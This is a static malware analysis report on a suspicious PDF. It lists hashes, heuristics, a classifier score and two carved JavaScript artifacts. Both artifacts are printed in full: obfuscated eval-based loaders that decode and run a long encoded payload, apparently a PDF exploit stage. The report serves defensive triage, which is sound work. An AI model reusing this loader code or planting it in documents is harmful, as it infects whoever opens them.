PDF static analysis report

Static analysis result for SHA-256 aa41ec923b910c41…

SUSPICIOUS

PDF

46.5 KB First seen: 2026-05-10
MD5: 1840403b2beedba5b46c368a0fb1e653 SHA-1: 62cb22ecbd5162bf636b1464cec49af76df453e5 SHA-256: aa41ec923b910c41b0d16fd48f762b1c8b95f205e2961e170bdf6c3ba4ff9a8f
58 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript streams, identified by PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript files, 'javascript_obj0012_000.js' and 'legacy_pdfkit_stage_000.js', are indicative of a downloader or dropper mechanism. The primary function of this script appears to be fetching and executing additional malicious content from external sources, although the specific URLs are not directly embedded in the script itself but rather in the PDF structure. The XFA form heuristic suggests a more complex document structure, potentially used to host or deliver the malicious script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xA241 5064 bytes
SHA-256: 3ae053a92c9b6e759ef0a0b80f07e9a8c3cc94c5fe979f0f6633b1220f35c90d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var eva=new Function("a","e   v       a     l        (a);".split(" ").join(""));
       var s='B@GFFAGBB@DBDHFADEE@GGB@CtB@GEFuFEGCFCFAG@FECrB@GFFAGBB@DHDtFIB@CtB@DBDHFADEE@GGBHB@BBBEGECDCACDCABEGECDCACDCABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@C@BEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCFCBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBCBFCCHBEGECDFACHCEBEGEC@C@C@C@BEGECAC@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CBBEGEC@C@C@C@BEGEC@CAC@CBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCCHBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@CDC@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@CBCBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CCC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGEFACGFDCHBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CBC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFAFEFDFCBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@CCCDBEGEC@C@C@C@BEGEFDCECHCEBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@FABEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECICACGC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGECAC@C@C@BEGEC@C@C@C@BEGEFCFFFDCIBEGEFCCICCCABEGECGCDFDCIBEGEFFCDCBCDBEGEFBCACECHBEGEFBFDCCCCBEGEFFFEFFC@BEGEC@CEC@CGBEGECFCHCCCABEGECHCCCACGBEGEC@CDFCC@BEGECICHC@CCBEGEFECEFEFDBEGEFACDFFC@BEGECFCCFFFABEGECECDFFFABEGECACCFFFBBEGEFBCACGCBBEGEC@CAFCFABEGEFBCBFEC@BEGECICFCGFFBEGECICFCFCBBEGECEFDCGCCBEGEC@CBCBCFBEGECACCC@CGBEGECBCEFEFFBEGECIFEFAC@BEGEC@CHFCCIBEGECBFFCCCABEGEFCCFFDCFBEGECCCAFFCABEGECACDFAFABEGECICBCBCFBEGEFDCGCICCBEGEFDCCCCFBBEGEC@CEFDCDBEGECHCAFBCCBEGECDCBCHFDBEGECCCFCFCFBEGECACFFBCIBEGECCCGFBFBBEGECAFDCFFDBEGECDFFCHCCBEGEFECAC@CHBEGEFFFACGC@BEGECCCACACCBEGECGCACBCHBEGEFACICEFBBEGEFDFDCDCBBEGEFCCHCGFCBEGECCFDCHCGBEGECHCCCDC@BEGEFFCFFAFCBEGECACBCCCBBEGEFCCGCFCEBEGECBCEFBFBBEGECHCDCDCIBEGECHFACHCEBEGEFDCDCDCDBEGECBFCFCCBBEGEFACCFBCGBEGECDFFCCCHBEGEFBCDCDFABEGECCCBFFFABEGECCCACIC@BEGECICDCAFFBEGEFECACECCBEGECBCEFFFBBEGECGCDFBCGBEGECBCICHFFBEGEFFCBCGFCBEGECBFDFDCGBEGEFDCGCHCCBEGECDCICFCCBEGEFDCFC@CHBEGEFDCHFACCBEGEFFFDCDFABEGECHCACFCGBEGECIFCC@CIBEGECFFFCCFEBEGEFACAFFFFBEGEFDCGCBCABEGEC@CGFAC@BEGEFFCECBCIBEGECCFEFBCEBEGECICCCGC@BEGEFBCBCDCHBEGEFDFAC@FEBEGEFCFCCDFBBEGECDFCCAC@BEGEFFFDCBCDBEGEC@CCCIFBBEGEC@CBCCCCBEGECFC@CDFEBEGECDCHFCFBBEGEFCC@FDCCBEGECACECDCDBEGECECACHCABEGEFACFC@CIBEGECICECGFFBEGECBCECCCDBEGECFCECHFABEGECCCEFCCCBEGECFC@FFFFBEGEFFCACHFFBEGECACHCACCBEGECICGCHC@BEGECHFFCACCBEGEFBFDFACABEGECDFECGCGBEGECEFDCCCBBEGEFFCECECFBEGEFCCDFBCBBEGECDCAFACFBBB@BICrB@GFFAGBB@GAE@GFB@CtB@DBDHFADEE@GGBHB@BBBEBBB@BrB@BBGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBBEGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BICrB@GGFHFIFsFEB@BHGAE@GFBuFsFEFuFGGDFHB@BrB@CBC@B@BrB@CHB@CsB@CFCECECCCFBIB@GAE@GFBrCtGAE@GFCrB@DtDIDADvB@CtB@GAE@GFBuGCGEFBGCGDGBFIFuFGBHC@BsB@BHC@GHC@FCC@FCBtC@GHCBCDBIBvCBBICrB@DtDIDADvB@BrCtB@DHDtFICrB@DtDIDADvB@BrCtB@GAE@GFCrB@DIEIB@CtB@DtDIDADvBuGCGEFBGCGDGBFIFuFGBHC@BsB@CFCECECCCFBvCBBICrB@GGFHFIFsFEBHDIEIBuFsFEFuFGGDFHB@CsB@C@GHCHC@C@C@C@BIB@DIEIB@BrCtB@DIEICrB@EFFqFqDrEqFCB@CtB@DIEIBuGCGEFBGCGDGBFIFuFGBHC@BsB@C@GHCHC@C@C@C@B@BtB@BHC@GHCAC@CBC@BtC@GHC@CHBIB@BvB@CBBICrB@GFFAGBB@GqDqB@CtB@FuFEGGB@DAGBGBFAGIBHBICrB@FFFvGBB@BHEBDBCtC@CrEBDBCsC@GHCAFFC@CrEBDBBrBrBIB@GqDqErEBDBEtCtEFFqFqDrEqFCBrBBGCBBCrB@';
    var output = "";
    var szazalek = "";
    eva("s   z  a  z  al  e k=          St  r  ing  .  fr om    C     ha r   Cod e (  3  7 );".split(" ").join("")); 
		eva("f           o   r   (  c   v   =   0   ;  c      v    <   s     .   l   e   n    g   t   h    ;            c   v   + =   2   )     o   u    t   p   u   t  + =   s     z    a   z   a    l    e  k   +   S  t   r  i  n  g   .   f  r   o   m  C    h  a   r   C   o   d   e   ( s . c h  a    r C     o d e     A t ( c v ) - 1 7 ) + S t r    i n g . f r o     m C h a r C o    d e ( s . c h a    r C o d      e A t ( c v    + 1 ) - 1 7 ) ; " . split(" ").join(""));  
		eva("e    va(  u   ne   sc  a   p   e(  outp   ut   ));".split(" ").join(""));
legacy_pdfkit_stage_000.js deobfuscated-js split-join delimiter stripped JavaScript at offset 0xA284 4612 bytes
SHA-256: a4ff81d8c0344fb46f3ec4fb1ccf531f304ae145949a80c636dac08b7fb26003
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
vareva=newFunction("a","eval(a);".split("").join(""));
vars='B@GFFAGBB@DBDHFADEE@GGB@CtB@GEFuFEGCFCFAG@FECrB@GFFAGBB@DHDtFIB@CtB@DBDHFADEE@GGBHB@BBBEGECDCACDCABEGECDCACDCABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@C@BEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCFCBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBCBFCCHBEGECDFACHCEBEGEC@C@C@C@BEGECAC@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CBBEGEC@C@C@C@BEGEC@CAC@CBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCCHBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@CDC@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@CBCBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CCC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGEFACGFDCHBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CBC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFAFEFDFCBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@CCCDBEGEC@C@C@C@BEGEFDCECHCEBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@FABEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECICACGC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGECAC@C@C@BEGEC@C@C@C@BEGEFCFFFDCIBEGEFCCICCCABEGECGCDFDCIBEGEFFCDCBCDBEGEFBCACECHBEGEFBFDCCCCBEGEFFFEFFC@BEGEC@CEC@CGBEGECFCHCCCABEGECHCCCACGBEGEC@CDFCC@BEGECICHC@CCBEGEFECEFEFDBEGEFACDFFC@BEGECFCCFFFABEGECECDFFFABEGECACCFFFBBEGEFBCACGCBBEGEC@CAFCFABEGEFBCBFEC@BEGECICFCGFFBEGECICFCFCBBEGECEFDCGCCBEGEC@CBCBCFBEGECACCC@CGBEGECBCEFEFFBEGECIFEFAC@BEGEC@CHFCCIBEGECBFFCCCABEGEFCCFFDCFBEGECCCAFFCABEGECACDFAFABEGECICBCBCFBEGEFDCGCICCBEGEFDCCCCFBBEGEC@CEFDCDBEGECHCAFBCCBEGECDCBCHFDBEGECCCFCFCFBEGECACFFBCIBEGECCCGFBFBBEGECAFDCFFDBEGECDFFCHCCBEGEFECAC@CHBEGEFFFACGC@BEGECCCACACCBEGECGCACBCHBEGEFACICEFBBEGEFDFDCDCBBEGEFCCHCGFCBEGECCFDCHCGBEGECHCCCDC@BEGEFFCFFAFCBEGECACBCCCBBEGEFCCGCFCEBEGECBCEFBFBBEGECHCDCDCIBEGECHFACHCEBEGEFDCDCDCDBEGECBFCFCCBBEGEFACCFBCGBEGECDFFCCCHBEGEFBCDCDFABEGECCCBFFFABEGECCCACIC@BEGECICDCAFFBEGEFECACECCBEGECBCEFFFBBEGECGCDFBCGBEGECBCICHFFBEGEFFCBCGFCBEGECBFDFDCGBEGEFDCGCHCCBEGECDCICFCCBEGEFDCFC@CHBEGEFDCHFACCBEGEFFFDCDFABEGECHCACFCGBEGECIFCC@CIBEGECFFFCCFEBEGEFACAFFFFBEGEFDCGCBCABEGEC@CGFAC@BEGEFFCECBCIBEGECCFEFBCEBEGECICCCGC@BEGEFBCBCDCHBEGEFDFAC@FEBEGEFCFCCDFBBEGECDFCCAC@BEGEFFFDCBCDBEGEC@CCCIFBBEGEC@CBCCCCBEGECFC@CDFEBEGECDCHFCFBBEGEFCC@FDCCBEGECACECDCDBEGECECACHCABEGEFACFC@CIBEGECICECGFFBEGECBCECCCDBEGECFCECHFABEGECCCEFCCCBEGECFC@FFFFBEGEFFCACHFFBEGECACHCACCBEGECICGCHC@BEGECHFFCACCBEGEFBFDFACABEGECDFECGCGBEGECEFDCCCBBEGEFFCECECFBEGEFCCDFBCBBEGECDCAFACFBBB@BICrB@GFFAGBB@GAE@GFB@CtB@DBDHFADEE@GGBHB@BBBEBBB@BrB@BBGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBBEGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BICrB@GGFHFIFsFEB@BHGAE@GFBuFsFEFuFGGDFHB@BrB@CBC@B@BrB@CHB@CsB@CFCECECCCFBIB@GAE@GFBrCtGAE@GFCrB@DtDIDADvB@CtB@GAE@GFBuGCGEFBGCGDGBFIFuFGBHC@BsB@BHC@GHC@FCC@FCBtC@GHCBCDBIBvCBBICrB@DtDIDADvB@BrCtB@DHDtFICrB@DtDIDADvB@BrCtB@GAE@GFCrB@DIEIB@CtB@DtDIDADvBuGCGEFBGCGDGBFIFuFGBHC@BsB@CFCECECCCFBvCBBICrB@GGFHFIFsFEBHDIEIBuFsFEFuFGGDFHB@CsB@C@GHCHC@C@C@C@BIB@DIEIB@BrCtB@DIEICrB@EFFqFqDrEqFCB@CtB@DIEIBuGCGEFBGCGDGBFIFuFGBHC@BsB@C@GHCHC@C@C@C@B@BtB@BHC@GHCAC@CBC@BtC@GHC@CHBIB@BvB@CBBICrB@GFFAGBB@GqDqB@CtB@FuFEGGB@DAGBGBFAGIBHBICrB@FFFvGBB@BHEBDBCtC@CrEBDBCsC@GHCAFFC@CrEBDBBrBrBIB@GqDqErEBDBEtCtEFFqFqDrEqFCBrBBGCBBCrB@';
varoutput="";
varszazalek="";
eva("szazalek=String.fromCharCode(37);".split("").join(""));
		eva("for(cv=0;cv<s.length;cv+=2)output+=szazalek+String.fromCharCode(s.charCodeAt(cv)-17)+String.fromCharCode(s.charCodeAt(cv+1)-17);".split("").join(""));
		eva("eva(unescape(output));".split("").join(""));

Open this report in the interactive analyzer, or submit your own file for analysis.